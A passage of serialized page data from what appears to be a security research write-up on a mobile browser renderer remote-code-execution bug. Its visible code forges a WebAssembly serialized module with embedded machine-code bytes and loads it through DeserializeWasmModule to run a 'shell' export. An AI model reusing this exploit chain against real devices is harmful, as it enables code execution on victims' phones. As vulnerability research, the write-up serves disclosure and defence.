i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[139956],{"type":22,"tag":30,"props":139957,"children":139958},{"__ignoreMap":7},[139959,139967,140027,140039],{"type":22,"tag":101,"props":139960,"children":139961},{"class":103,"line":104},[139962],{"type":22,"tag":101,"props":139963,"children":139964},{"style":2215},[139965],{"type":27,"value":139966},"// %WasmTierUpFunction(func);\n",{"type":22,"tag":101,"props":139968,"children":139969},{"class":103,"line":157},[139970,139974,139978,139982,139986,139990,139994,139998,140002,140006,140011,140015,140019,140023],{"type":22,"tag":101,"props":139971,"children":139972},{"style":3595},[139973],{"type":27,"value":7430},{"type":22,"tag":101,"props":139975,"children":139976},{"style":120},[139977],{"type":27,"value":3603},{"type":22,"tag":101,"props":139979,"children":139980},{"style":108},[139981],{"type":27,"value":15792},{"type":22,"tag":101,"props":139983,"children":139984},{"style":126},[139985],{"type":27,"value":7435},{"type":22,"tag":101,"props":139987,"children":139988},{"style":166},[139989],{"type":27,"value":960},{"type":22,"tag":101,"props":139991,"children":139992},{"style":1544},[139993],{"type":27,"value":1547},{"type":22,"tag":101,"props":139995,"children":139996},{"style":120},[139997],{"type":27,"value":21224},{"type":22,"tag":101,"props":139999,"children":140000},{"style":126},[140001],{"type":27,"value":7774},{"type":22,"tag":101,"props":140003,"children":140004},{"style":166},[140005],{"type":27,"value":12726},{"type":22,"tag":101,"props":140007,"children":140008},{"style":1544},[140009],{"type":27,"value":140010}," 0x100000",{"type":22,"tag":101,"props":140012,"children":140013},{"style":120},[140014],{"type":27,"value":21224},{"type":22,"tag":101,"props":140016,"children":140017},{"style":126},[140018],{"type":27,"value":7774},{"type":22,"tag":101,"props":140020,"children":140021},{"style":166},[140022],{"type":27,"value":55265},{"type":22,"tag":101,"props":140024,"children":140025},{"style":120},[140026],{"type":27,"value":1463},{"type":22,"tag":101,"props":140028,"children":140029},{"class":103,"line":182},[140030,140035],{"type":22,"tag":101,"props":140031,"children":140032},{"style":926},[140033],{"type":27,"value":140034}," func",{"type":22,"tag":101,"props":140036,"children":140037},{"style":120},[140038],{"type":27,"value":934},{"type":22,"tag":101,"props":140040,"children":140041},{"class":103,"line":367},[140042],{"type":22,"tag":101,"props":140043,"children":140044},{"style":120},[140045],{"type":27,"value":188},{"type":22,"tag":23,"props":140047,"children":140048},{},[140049],{"type":27,"value":140050},"Finally, running this code on the device:",{"type":22,"tag":91,"props":140052,"children":140054},{"code":140053,"language":39612,"meta":7,"className":39610,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[140055],{"type":22,"tag":30,"props":140056,"children":140057},{"__ignoreMap":7},[140058,140081,140109,140328,140395,140402,140445,140488,140527,140534,140542,140602,140614,140621,140628,140659,140702,140729,140736,140772,140835],{"type":22,"tag":101,"props":140059,"children":140060},{"class":103,"line":104},[140061,140065,140069,140073,140077],{"type":22,"tag":101,"props":140062,"children":140063},{"style":120},[140064],{"type":27,"value":980},{"type":22,"tag":101,"props":140066,"children":140067},{"style":108},[140068],{"type":27,"value":40142},{"type":22,"tag":101,"props":140070,"children":140071},{"style":120},[140072],{"type":27,"value":43691},{"type":22,"tag":101,"props":140074,"children":140075},{"style":108},[140076],{"type":27,"value":18823},{"type":22,"tag":101,"props":140078,"children":140079},{"style":120},[140080],{"type":27,"value":154},{"type":22,"tag":101,"props":140082,"children":140083},{"class":103,"line":157},[140084,140089,140093,140097,140101,140105],{"type":22,"tag":101,"props":140085,"children":140086},{"style":108},[140087],{"type":27,"value":140088}," var",{"type":22,"tag":101,"props":140090,"children":140091},{"style":126},[140092],{"type":27,"value":136961},{"type":22,"tag":101,"props":140094,"children":140095},{"style":166},[140096],{"type":27,"value":960},{"type":22,"tag":101,"props":140098,"children":140099},{"style":108},[140100],{"type":27,"value":35929},{"type":22,"tag":101,"props":140102,"children":140103},{"style":926},[140104],{"type":27,"value":136974},{"type":22,"tag":101,"props":140106,"children":140107},{"style":120},[140108],{"type":27,"value":136979},{"type":22,"tag":101,"props":140110,"children":140111},{"class":103,"line":182},[140112,140116,140120,140124,140128,140132,140136,140140,140144,140148,140152,140156,140160,140164,140168,140172,140176,140180,140184,140188,140192,140196,140200,140204,140208,140212,140216,140220,140224,140228,140232,140236,140240,140244,140248,140252,140256,140260,140264,140268,140272,140276,140280,140284,140288,140292,140296,140300,140304,140308,140312,140316,140320,140324],{"type":22,"tag":101,"props":140113,"children":140114},{"style":1544},[140115],{"type":27,"value":137704},{"type":22,"tag":101,"props":140117,"children":140118},{"style":120},[140119],{"type":27,"value":758},{"type":22,"tag":101,"props":140121,"children":140122},{"style":1544},[140123],{"type":27,"value":136996},{"type":22,"tag":101,"props":140125,"children":140126},{"style":120},[140127],{"type":27,"value":758},{"type":22,"tag":101,"props":140129,"children":140130},{"style":1544},[140131],{"type":27,"value":137005},{"type":22,"tag":101,"props":140133,"children":140134},{"style":120},[140135],{"type":27,"value":758},{"type":22,"tag":101,"props":140137,"children":140138},{"style":1544},[140139],{"type":27,"value":137014},{"type":22,"tag":101,"props":140141,"children":140142},{"style":120},[140143],{"type":27,"value":758},{"type":22,"tag":101,"props":140145,"children":140146},{"style":1544},[140147],{"type":27,"value":6813},{"type":22,"tag":101,"props":140149,"children":140150},{"style":120},[140151],{"type":27,"value":758},{"type":22,"tag":101,"props":140153,"children":140154},{"style":1544},[140155],{"type":27,"value":8065},{"type":22,"tag":101,"props":140157,"children":140158},{"style":120},[140159],{"type":27,"value":758},{"type":22,"tag":101,"props":140161,"children":140162},{"style":1544},[140163],{"type":27,"value":8065},{"type":22,"tag":101,"props":140165,"children":140166},{"style":120},[140167],{"type":27,"value":758},{"type":22,"tag":101,"props":140169,"children":140170},{"style":1544},[140171],{"type":27,"value":8065},{"type":22,"tag":101,"props":140173,"children":140174},{"style":120},[140175],{"type":27,"value":758},{"type":22,"tag":101,"props":140177,"children":140178},{"style":1544},[140179],{"type":27,"value":6813},{"type":22,"tag":101,"props":140181,"children":140182},{"style":120},[140183],{"type":27,"value":758},{"type":22,"tag":101,"props":140185,"children":140186},{"style":1544},[140187],{"type":27,"value":21526},{"type":22,"tag":101,"props":140189,"children":140190},{"style":120},[140191],{"type":27,"value":758},{"type":22,"tag":101,"props":140193,"children":140194},{"style":1544},[140195],{"type":27,"value":6813},{"type":22,"tag":101,"props":140197,"children":140198},{"style":120},[140199],{"type":27,"value":758},{"type":22,"tag":101,"props":140201,"children":140202},{"style":1544},[140203],{"type":27,"value":137079},{"type":22,"tag":101,"props":140205,"children":140206},{"style":120},[140207],{"type":27,"value":758},{"type":22,"tag":101,"props":140209,"children":140210},{"style":1544},[140211],{"type":27,"value":8065},{"type":22,"tag":101,"props":140213,"children":140214},{"style":120},[140215],{"type":27,"value":758},{"type":22,"tag":101,"props":140217,"children":140218},{"style":1544},[140219],{"type":27,"value":8065},{"type":22,"tag":101,"props":140221,"children":140222},{"style":120},[140223],{"type":27,"value":758},{"type":22,"tag":101,"props":140225,"children":140226},{"style":1544},[140227],{"type":27,"value":21293},{"type":22,"tag":101,"props":140229,"children":140230},{"style":120},[140231],{"type":27,"value":758},{"type":22,"tag":101,"props":140233,"children":140234},{"style":1544},[140235],{"type":27,"value":7164},{"type":22,"tag":101,"props":140237,"children":140238},{"style":120},[140239],{"type":27,"value":758},{"type":22,"tag":101,"props":140241,"children":140242},{"style":1544},[140243],{"type":27,"value":6813},{"type":22,"tag":101,"props":140245,"children":140246},{"style":120},[140247],{"type":27,"value":758},{"type":22,"tag":101,"props":140249,"children":140250},{"style":1544},[140251],{"type":27,"value":8065},{"type":22,"tag":101,"props":140253,"children":140254},{"style":120},[140255],{"type":27,"value":758},{"type":22,"tag":101,"props":140257,"children":140258},{"style":1544},[140259],{"type":27,"value":58667},{"type":22,"tag":101,"props":140261,"children":140262},{"style":120},[140263],{"type":27,"value":758},{"type":22,"tag":101,"props":140265,"children":140266},{"style":1544},[140267],{"type":27,"value":59882},{"type":22,"tag":101,"props":140269,"children":140270},{"style":120},[140271],{"type":27,"value":758},{"type":22,"tag":101,"props":140273,"children":140274},{"style":1544},[140275],{"type":27,"value":6813},{"type":22,"tag":101,"props":140277,"children":140278},{"style":120},[140279],{"type":27,"value":758},{"type":22,"tag":101,"props":140281,"children":140282},{"style":1544},[140283],{"type":27,"value":22107},{"type":22,"tag":101,"props":140285,"children":140286},{"style":120},[140287],{"type":27,"value":758},{"type":22,"tag":101,"props":140289,"children":140290},{"style":1544},[140291],{"type":27,"value":137005},{"type":22,"tag":101,"props":140293,"children":140294},{"style":120},[140295],{"type":27,"value":758},{"type":22,"tag":101,"props":140297,"children":140298},{"style":1544},[140299],{"type":27,"value":137176},{"type":22,"tag":101,"props":140301,"children":140302},{"style":120},[140303],{"type":27,"value":758},{"type":22,"tag":101,"props":140305,"children":140306},{"style":1544},[140307],{"type":27,"value":137185},{"type":22,"tag":101,"props":140309,"children":140310},{"style":120},[140311],{"type":27,"value":758},{"type":22,"tag":101,"props":140313,"children":140314},{"style":1544},[140315],{"type":27,"value":137194},{"type":22,"tag":101,"props":140317,"children":140318},{"style":120},[140319],{"type":27,"value":758},{"type":22,"tag":101,"props":140321,"children":140322},{"style":1544},[140323],{"type":27,"value":137194},{"type":22,"tag":101,"props":140325,"children":140326},{"style":120},[140327],{"type":27,"value":179},{"type":22,"tag":101,"props":140329,"children":140330},{"class":103,"line":367},[140331,140335,140339,140343,140347,140351,140355,140359,140363,140367,140371,140375,140379,140383,140387,140391],{"type":22,"tag":101,"props":140332,"children":140333},{"style":1544},[140334],{"type":27,"value":137704},{"type":22,"tag":101,"props":140336,"children":140337},{"style":120},[140338],{"type":27,"value":758},{"type":22,"tag":101,"props":140340,"children":140341},{"style":1544},[140342],{"type":27,"value":8065},{"type":22,"tag":101,"props":140344,"children":140345},{"style":120},[140346],{"type":27,"value":758},{"type":22,"tag":101,"props":140348,"children":140349},{"style":1544},[140350],{"type":27,"value":92760},{"type":22,"tag":101,"props":140352,"children":140353},{"style":120},[140354],{"type":27,"value":758},{"type":22,"tag":101,"props":140356,"children":140357},{"style":1544},[140358],{"type":27,"value":21526},{"type":22,"tag":101,"props":140360,"children":140361},{"style":120},[140362],{"type":27,"value":758},{"type":22,"tag":101,"props":140364,"children":140365},{"style":1544},[140366],{"type":27,"value":6813},{"type":22,"tag":101,"props":140368,"children":140369},{"style":120},[140370],{"type":27,"value":758},{"type":22,"tag":101,"props":140372,"children":140373},{"style":1544},[140374],{"type":27,"value":7164},{"type":22,"tag":101,"props":140376,"children":140377},{"style":120},[140378],{"type":27,"value":758},{"type":22,"tag":101,"props":140380,"children":140381},{"style":1544},[140382],{"type":27,"value":8065},{"type":22,"tag":101,"props":140384,"children":140385},{"style":120},[140386],{"type":27,"value":758},{"type":22,"tag":101,"props":140388,"children":140389},{"style":1544},[140390],{"type":27,"value":137270},{"type":22,"tag":101,"props":140392,"children":140393},{"style":120},[140394],{"type":27,"value":179},{"type":22,"tag":101,"props":140396,"children":140397},{"class":103,"line":398},[140398],{"type":22,"tag":101,"props":140399,"children":140400},{"style":120},[140401],{"type":27,"value":137991},{"type":22,"tag":101,"props":140403,"children":140404},{"class":103,"line":428},[140405,140409,140413,140417,140421,140425,140429,140433,140437,140441],{"type":22,"tag":101,"props":140406,"children":140407},{"style":108},[140408],{"type":27,"value":140088},{"type":22,"tag":101,"props":140410,"children":140411},{"style":126},[140412],{"type":27,"value":75129},{"type":22,"tag":101,"props":140414,"children":140415},{"style":166},[140416],{"type":27,"value":960},{"type":22,"tag":101,"props":140418,"children":140419},{"style":108},[140420],{"type":27,"value":35929},{"type":22,"tag":101,"props":140422,"children":140423},{"style":126},[140424],{"type":27,"value":137305},{"type":22,"tag":101,"props":140426,"children":140427},{"style":120},[140428],{"type":27,"value":231},{"type":22,"tag":101,"props":140430,"children":140431},{"style":926},[140432],{"type":27,"value":89426},{"type":22,"tag":101,"props":140434,"children":140435},{"style":120},[140436],{"type":27,"value":980},{"type":22,"tag":101,"props":140438,"children":140439},{"style":126},[140440],{"type":27,"value":137322},{"type":22,"tag":101,"props":140442,"children":140443},{"style":120},[140444],{"type":27,"value":994},{"type":22,"tag":101,"props":140446,"children":140447},{"class":103,"line":997},[140448,140452,140456,140460,140464,140468,140472,140476,140480,140484],{"type":22,"tag":101,"props":140449,"children":140450},{"style":108},[140451],{"type":27,"value":140088},{"type":22,"tag":101,"props":140453,"children":140454},{"style":126},[140455],{"type":27,"value":137338},{"type":22,"tag":101,"props":140457,"children":140458},{"style":166},[140459],{"type":27,"value":960},{"type":22,"tag":101,"props":140461,"children":140462},{"style":108},[140463],{"type":27,"value":35929},{"type":22,"tag":101,"props":140465,"children":140466},{"style":126},[140467],{"type":27,"value":137305},{"type":22,"tag":101,"props":140469,"children":140470},{"style":120},[140471],{"type":27,"value":231},{"type":22,"tag":101,"props":140473,"children":140474},{"style":926},[140475],{"type":27,"value":137359},{"type":22,"tag":101,"props":140477,"children":140478},{"style":120},[140479],{"type":27,"value":980},{"type":22,"tag":101,"props":140481,"children":140482},{"style":126},[140483],{"type":27,"value":137368},{"type":22,"tag":101,"props":140485,"children":140486},{"style":120},[140487],{"type":27,"value":994},{"type":22,"tag":101,"props":140489,"children":140490},{"class":103,"line":1032},[140491,140495,140499,140503,140507,140511,140515,140519,140523],{"type":22,"tag":101,"props":140492,"children":140493},{"style":108},[140494],{"type":27,"value":140088},{"type":22,"tag":101,"props":140496,"children":140497},{"style":126},[140498],{"type":27,"value":83516},{"type":22,"tag":101,"props":140500,"children":140501},{"style":166},[140502],{"type":27,"value":960},{"type":22,"tag":101,"props":140504,"children":140505},{"style":126},[140506],{"type":27,"value":137338},{"type":22,"tag":101,"props":140508,"children":140509},{"style":120},[140510],{"type":27,"value":231},{"type":22,"tag":101,"props":140512,"children":140513},{"style":126},[140514],{"type":27,"value":41882},{"type":22,"tag":101,"props":140516,"children":140517},{"style":120},[140518],{"type":27,"value":231},{"type":22,"tag":101,"props":140520,"children":140521},{"style":126},[140522],{"type":27,"value":137408},{"type":22,"tag":101,"props":140524,"children":140525},{"style":120},[140526],{"type":27,"value":1520},{"type":22,"tag":101,"props":140528,"children":140529},{"class":103,"line":1063},[140530],{"type":22,"tag":101,"props":140531,"children":140532},{"emptyLinePlaceholder":15},[140533],{"type":27,"value":1581},{"type":22,"tag":101,"props":140535,"children":140536},{"class":103,"line":1071},[140537],{"type":22,"tag":101,"props":140538,"children":140539},{"style":2215},[140540],{"type":27,"value":140541}," // %WasmTierUpFunction(func);\n",{"type":22,"tag":101,"props":140543,"children":140544},{"class":103,"line":1110},[140545,140550,140554,140558,140562,140566,140570,140574,140578,140582,140586,140590,140594,140598],{"type":22,"tag":101,"props":140546,"children":140547},{"style":3595},[140548],{"type":27,"value":140549}," for",{"type":22,"tag":101,"props":140551,"children":140552},{"style":120},[140553],{"type":27,"value":3603},{"type":22,"tag":101,"props":140555,"children":140556},{"style":108},[140557],{"type":27,"value":15792},{"type":22,"tag":101,"props":140559,"children":140560},{"style":126},[140561],{"type":27,"value":7435},{"type":22,"tag":101,"props":140563,"children":140564},{"style":166},[140565],{"type":27,"value":960},{"type":22,"tag":101,"props":140567,"children":140568},{"style":1544},[140569],{"type":27,"value":1547},{"type":22,"tag":101,"props":140571,"children":140572},{"style":120},[140573],{"type":27,"value":21224},{"type":22,"tag":101,"props":140575,"children":140576},{"style":126},[140577],{"type":27,"value":7774},{"type":22,"tag":101,"props":140579,"children":140580},{"style":166},[140581],{"type":27,"value":12726},{"type":22,"tag":101,"props":140583,"children":140584},{"style":1544},[140585],{"type":27,"value":140010},{"type":22,"tag":101,"props":140587,"children":140588},{"style":120},[140589],{"type":27,"value":21224},{"type":22,"tag":101,"props":140591,"children":140592},{"style":126},[140593],{"type":27,"value":7774},{"type":22,"tag":101,"props":140595,"children":140596},{"style":166},[140597],{"type":27,"value":55265},{"type":22,"tag":101,"props":140599,"children":140600},{"style":120},[140601],{"type":27,"value":1463},{"type":22,"tag":101,"props":140603,"children":140604},{"class":103,"line":1118},[140605,140610],{"type":22,"tag":101,"props":140606,"children":140607},{"style":926},[140608],{"type":27,"value":140609}," func",{"type":22,"tag":101,"props":140611,"children":140612},{"style":120},[140613],{"type":27,"value":934},{"type":22,"tag":101,"props":140615,"children":140616},{"class":103,"line":1158},[140617],{"type":22,"tag":101,"props":140618,"children":140619},{"style":120},[140620],{"type":27,"value":9908},{"type":22,"tag":101,"props":140622,"children":140623},{"class":103,"line":1166},[140624],{"type":22,"tag":101,"props":140625,"children":140626},{"emptyLinePlaceholder":15},[140627],{"type":27,"value":1581},{"type":22,"tag":101,"props":140629,"children":140630},{"class":103,"line":1215},[140631,140635,140639,140643,140647,140651,140655],{"type":22,"tag":101,"props":140632,"children":140633},{"style":108},[140634],{"type":27,"value":11865},{"type":22,"tag":101,"props":140636,"children":140637},{"style":126},[140638],{"type":27,"value":139444},{"type":22,"tag":101,"props":140640,"children":140641},{"style":166},[140642],{"type":27,"value":960},{"type":22,"tag":101,"props":140644,"children":140645},{"style":926},[140646],{"type":27,"value":139453},{"type":22,"tag":101,"props":140648,"children":140649},{"style":120},[140650],{"type":27,"value":980},{"type":22,"tag":101,"props":140652,"children":140653},{"style":126},[140654],{"type":27,"value":137368},{"type":22,"tag":101,"props":140656,"children":140657},{"style":120},[140658],{"type":27,"value":994},{"type":22,"tag":101,"props":140660,"children":140661},{"class":103,"line":2425},[140662,140666,140670,140674,140678,140682,140686,140690,140694,140698],{"type":22,"tag":101,"props":140663,"children":140664},{"style":126},[140665],{"type":27,"value":139489},{"type":22,"tag":101,"props":140667,"children":140668},{"style":166},[140669],{"type":27,"value":960},{"type":22,"tag":101,"props":140671,"children":140672},{"style":120},[140673],{"type":27,"value":3603},{"type":22,"tag":101,"props":140675,"children":140676},{"style":3595},[140677],{"type":27,"value":36912},{"type":22,"tag":101,"props":140679,"children":140680},{"style":126},[140681],{"type":27,"value":139444},{"type":22,"tag":101,"props":140683,"children":140684},{"style":120},[140685],{"type":27,"value":231},{"type":22,"tag":101,"props":140687,"children":140688},{"style":926},[140689],{"type":27,"value":61562},{"type":22,"tag":101,"props":140691,"children":140692},{"style":120},[140693],{"type":27,"value":139518},{"type":22,"tag":101,"props":140695,"children":140696},{"style":126},[140697],{"type":27,"value":43146},{"type":22,"tag":101,"props":140699,"children":140700},{"style":120},[140701],{"type":27,"value":1520},{"type":22,"tag":101,"props":140703,"children":140704},{"class":103,"line":5417},[140705,140709,140713,140717,140721,140725],{"type":22,"tag":101,"props":140706,"children":140707},{"style":126},[140708],{"type":27,"value":105451},{"type":22,"tag":101,"props":140710,"children":140711},{"style":120},[140712],{"type":27,"value":231},{"type":22,"tag":101,"props":140714,"children":140715},{"style":926},[140716],{"type":27,"value":105460},{"type":22,"tag":101,"props":140718,"children":140719},{"style":120},[140720],{"type":27,"value":980},{"type":22,"tag":101,"props":140722,"children":140723},{"style":126},[140724],{"type":27,"value":13090},{"type":22,"tag":101,"props":140726,"children":140727},{"style":120},[140728],{"type":27,"value":994},{"type":22,"tag":101,"props":140730,"children":140731},{"class":103,"line":7714},[140732],{"type":22,"tag":101,"props":140733,"children":140734},{"emptyLinePlaceholder":15},[140735],{"type":27,"value":1581},{"type":22,"tag":101,"props":140737,"children":140738},{"class":103,"line":7723},[140739,140743,140748,140752,140756,140760,140764,140768],{"type":22,"tag":101,"props":140740,"children":140741},{"style":108},[140742],{"type":27,"value":11865},{"type":22,"tag":101,"props":140744,"children":140745},{"style":126},[140746],{"type":27,"value":140747}," result_bytes",{"type":22,"tag":101,"props":140749,"children":140750},{"style":166},[140751],{"type":27,"value":960},{"type":22,"tag":101,"props":140753,"children":140754},{"style":108},[140755],{"type":27,"value":35929},{"type":22,"tag":101,"props":140757,"children":140758},{"style":926},[140759],{"type":27,"value":136974},{"type":22,"tag":101,"props":140761,"children":140762},{"style":120},[140763],{"type":27,"value":980},{"type":22,"tag":101,"props":140765,"children":140766},{"style":126},[140767],{"type":27,"value":13090},{"type":22,"tag":101,"props":140769,"children":140770},{"style":120},[140771],{"type":27,"value":994},{"type":22,"tag":101,"props":140773,"children":140774},{"class":103,"line":7791},[140775,140779,140783,140787,140791,140795,140799,140803,140807,140811,140815,140819,140823,140827,140831],{"type":22,"tag":101,"props":140776,"children":140777},{"style":126},[140778],{"type":27,"value":105451},{"type":22,"tag":101,"props":140780,"children":140781},{"style":120},[140782],{"type":27,"value":231},{"type":22,"tag":101,"props":140784,"children":140785},{"style":926},[140786],{"type":27,"value":105460},{"type":22,"tag":101,"props":140788,"children":140789},{"style":120},[140790],{"type":27,"value":980},{"type":22,"tag":101,"props":140792,"children":140793},{"style":6476},[140794],{"type":27,"value":137541},{"type":22,"tag":101,"props":140796,"children":140797},{"style":166},[140798],{"type":27,"value":3643},{"type":22,"tag":101,"props":140800,"children":140801},{"style":126},[140802],{"type":27,"value":140747},{"type":22,"tag":101,"props":140804,"children":140805},{"style":120},[140806],{"type":27,"value":231},{"type":22,"tag":101,"props":140808,"children":140809},{"style":926},[140810],{"type":27,"value":137558},{"type":22,"tag":101,"props":140812,"children":140813},{"style":120},[140814],{"type":27,"value":980},{"type":22,"tag":101,"props":140816,"children":140817},{"style":6476},[140818],{"type":27,"value":137567},{"type":22,"tag":101,"props":140820,"children":140821},{"style":120},[140822],{"type":27,"value":901},{"type":22,"tag":101,"props":140824,"children":140825},{"style":166},[140826],{"type":27,"value":8426},{"type":22,"tag":101,"props":140828,"children":140829},{"style":6476},[140830],{"type":27,"value":137580},{"type":22,"tag":101,"props":140832,"children":140833},{"style":120},[140834],{"type":27,"value":994},{"type":22,"tag":101,"props":140836,"children":140837},{"class":103,"line":7799},[140838],{"type":22,"tag":101,"props":140839,"children":140840},{"style":120},[140841],{"type":27,"value":105492},{"type":22,"tag":23,"props":140843,"children":140844},{},[140845],{"type":27,"value":140846},"We get the serialized bytes:",{"type":22,"tag":23,"props":140848,"children":140849},{},[140850],{"type":22,"tag":7959,"props":140851,"children":140854},{"alt":140852,"src":140853},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":22,"tag":23,"props":140856,"children":140857},{},[140858,140860,140865],{"type":27,"value":140859},"We can now embed this output into the original bytecode that calls ",{"type":22,"tag":30,"props":140861,"children":140863},{"className":140862},[],[140864],{"type":27,"value":136437},{"type":27,"value":169},{"type":22,"tag":91,"props":140867,"children":140869},{"code":140868,"language":39612,"meta":7,"className":39610,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[140870],{"type":22,"tag":30,"props":140871,"children":140872},{"__ignoreMap":7},[140873,140896,140923,141142,141209,141216,141243,141454,141705,141956,142180,142362,142583,142661,142668,142715,142758,142794,142837,142876,142903],{"type":22,"tag":101,"props":140874,"children":140875},{"class":103,"line":104},[140876,140880,140884,140888,140892],{"type":22,"tag":101,"props":140877,"children":140878},{"style":120},[140879],{"type":27,"value":980},{"type":22,"tag":101,"props":140881,"children":140882},{"style":108},[140883],{"type":27,"value":40142},{"type":22,"tag":101,"props":140885,"children":140886},{"style":120},[140887],{"type":27,"value":43691},{"type":22,"tag":101,"props":140889,"children":140890},{"style":108},[140891],{"type":27,"value":18823},{"type":22,"tag":101,"props":140893,"children":140894},{"style":120},[140895],{"type":27,"value":154},{"type":22,"tag":101,"props":140897,"children":140898},{"class":103,"line":157},[140899,140903,140907,140911,140915,140919],{"type":22,"tag":101,"props":140900,"children":140901},{"style":108},[140902],{"type":27,"value":40185},{"type":22,"tag":101,"props":140904,"children":140905},{"style":126},[140906],{"type":27,"value":136961},{"type":22,"tag":101,"props":140908,"children":140909},{"style":166},[140910],{"type":27,"value":960},{"type":22,"tag":101,"props":140912,"children":140913},{"style":108},[140914],{"type":27,"value":35929},{"type":22,"tag":101,"props":140916,"children":140917},{"style":926},[140918],{"type":27,"value":136974},{"type":22,"tag":101,"props":140920,"children":140921},{"style":120},[140922],{"type":27,"value":136979},{"type":22,"tag":101,"props":140924,"children":140925},{"class":103,"line":182},[140926,140930,140934,140938,140942,140946,140950,140954,140958,140962,140966,140970,140974,140978,140982,140986,140990,140994,140998,141002,141006,141010,141014,141018,141022,141026,141030,141034,141038,141042,141046,141050,141054,141058,141062,141066,141070,141074,141078,141082,141086,141090,141094,141098,141102,141106,141110,141114,141118,141122,141126,141130,141134,141138],{"type":22,"tag":101,"props":140927,"children":140928},{"style":1544},[140929],{"type":27,"value":137704},{"type":22,"tag":101,"props":140931,"children":140932},{"style":120},[140933],{"type":27,"value":758},{"type":22,"tag":101,"props":140935,"children":140936},{"style":1544},[140937],{"type":27,"value":136996},{"type":22,"tag":101,"props":140939,"children":140940},{"style":120},[140941],{"type":27,"value":758},{"type":22,"tag":101,"props":140943,"children":140944},{"style":1544},[140945],{"type":27,"value":137005},{"type":22,"tag":101,"props":140947,"children":140948},{"style":120},[140949],{"type":27,"value":758},{"type":22,"tag":101,"props":140951,"children":140952},{"style":1544},[140953],{"type":27,"value":137014},{"type":22,"tag":101,"props":140955,"children":140956},{"style":120},[140957],{"type":27,"value":758},{"type":22,"tag":101,"props":140959,"children":140960},{"style":1544},[140961],{"type":27,"value":6813},{"type":22,"tag":101,"props":140963,"children":140964},{"style":120},[140965],{"type":27,"value":758},{"type":22,"tag":101,"props":140967,"children":140968},{"style":1544},[140969],{"type":27,"value":8065},{"type":22,"tag":101,"props":140971,"children":140972},{"style":120},[140973],{"type":27,"value":758},{"type":22,"tag":101,"props":140975,"children":140976},{"style":1544},[140977],{"type":27,"value":8065},{"type":22,"tag":101,"props":140979,"children":140980},{"style":120},[140981],{"type":27,"value":758},{"type":22,"tag":101,"props":140983,"children":140984},{"style":1544},[140985],{"type":27,"value":8065},{"type":22,"tag":101,"props":140987,"children":140988},{"style":120},[140989],{"type":27,"value":758},{"type":22,"tag":101,"props":140991,"children":140992},{"style":1544},[140993],{"type":27,"value":6813},{"type":22,"tag":101,"props":140995,"children":140996},{"style":120},[140997],{"type":27,"value":758},{"type":22,"tag":101,"props":140999,"children":141000},{"style":1544},[141001],{"type":27,"value":21526},{"type":22,"tag":101,"props":141003,"children":141004},{"style":120},[141005],{"type":27,"value":758},{"type":22,"tag":101,"props":141007,"children":141008},{"style":1544},[141009],{"type":27,"value":6813},{"type":22,"tag":101,"props":141011,"children":141012},{"style":120},[141013],{"type":27,"value":758},{"type":22,"tag":101,"props":141015,"children":141016},{"style":1544},[141017],{"type":27,"value":137079},{"type":22,"tag":101,"props":141019,"children":141020},{"style":120},[141021],{"type":27,"value":758},{"type":22,"tag":101,"props":141023,"children":141024},{"style":1544},[141025],{"type":27,"value":8065},{"type":22,"tag":101,"props":141027,"children":141028},{"style":120},[141029],{"type":27,"value":758},{"type":22,"tag":101,"props":141031,"children":141032},{"style":1544},[141033],{"type":27,"value":8065},{"type":22,"tag":101,"props":141035,"children":141036},{"style":120},[141037],{"type":27,"value":758},{"type":22,"tag":101,"props":141039,"children":141040},{"style":1544},[141041],{"type":27,"value":21293},{"type":22,"tag":101,"props":141043,"children":141044},{"style":120},[141045],{"type":27,"value":758},{"type":22,"tag":101,"props":141047,"children":141048},{"style":1544},[141049],{"type":27,"value":7164},{"type":22,"tag":101,"props":141051,"children":141052},{"style":120},[141053],{"type":27,"value":758},{"type":22,"tag":101,"props":141055,"children":141056},{"style":1544},[141057],{"type":27,"value":6813},{"type":22,"tag":101,"props":141059,"children":141060},{"style":120},[141061],{"type":27,"value":758},{"type":22,"tag":101,"props":141063,"children":141064},{"style":1544},[141065],{"type":27,"value":8065},{"type":22,"tag":101,"props":141067,"children":141068},{"style":120},[141069],{"type":27,"value":758},{"type":22,"tag":101,"props":141071,"children":141072},{"style":1544},[141073],{"type":